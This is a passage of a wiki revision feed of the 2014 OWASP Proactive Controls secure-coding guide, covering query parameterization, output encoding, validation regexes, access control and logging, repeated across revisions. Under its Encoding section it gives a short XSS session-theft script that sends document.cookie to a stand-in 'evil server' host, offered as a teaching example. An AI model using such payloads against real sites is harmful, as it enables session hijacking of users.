2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
For more information, see the [[Attack Surface Analysis Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170116</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170116"/>
				<updated>2014-03-14T14:43:52Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
For more information on how to properly implement logging in an application, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.&lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features include multi-step multi-branch workflows that are difficult to evaluate thoroughly and involve money or valuable items, user credentials, private information or command/control functions, for example eCommerce workflows, shipping route choices, or banking transfer validation. The user stories or use cases for these requirements should include exceptions and failure scenarios (what happens if a step fails or times out or if the user tries to cancel or repeat a step?) and requirements derived from &amp;quot;abuse cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Walking through failures and abuse case scenarios will uncover weaknesses in validation and error handling that impact the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must always be aware of personal and confidential information in the system that must be protected and tracked. What is the source of this data? Can the source be trusted? Where is the data stored or displayed? Does it have to be stored or displayed? Who is authorized to create it, see it, change it? This will drive the need for data validation, access control, encryption, and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
There are several areas where you need to be concerned about security in the architecture and design of a system. These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team must understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls to enforce at the client, the web layer, the business logic layer, the data management layer, and where to establish trust between different systems or different parts of the same system. Trust boundaries determine where to make decisions about authentication, access control, data validation and encoding, encryption and logging. Data, sources of data and services inside a trust boundary can be trusted - anything outside of a trust boundary cannot be. When designing or changing the design or a system, make sure to understand assumptions about trust, make sure that these assumptions are valid, and make sure that they are followed consistently.&lt;br /&gt;
&lt;br /&gt;
3) '''Manage the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (should you do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
For more information, see the [[Attack Surface Analysis Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170115</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=170115"/>
				<updated>2014-03-14T14:42:49Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
